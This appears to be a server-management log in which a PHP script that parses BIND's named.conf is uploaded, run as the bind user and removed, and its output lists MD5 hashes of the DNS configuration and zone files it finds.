MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 17:24:51: Establishing a connection
2026-04-23 17:24:51: 

PUT: /tmp/pkp816291

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 17:24:51: 

runuser -l bind -s /bin/bash -c '/tmp/pkp816291; rm /tmp/pkp816291'

2026-04-23 17:24:52: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 17:24:57: Establishing a connection
2026-04-23 17:24:57: 

PUT: /tmp/pkp740671

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 17:24:57: 

runuser -l bind -s /bin/bash -c '/tmp/pkp740671; rm /tmp/pkp740671'

2026-04-23 17:24:57: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
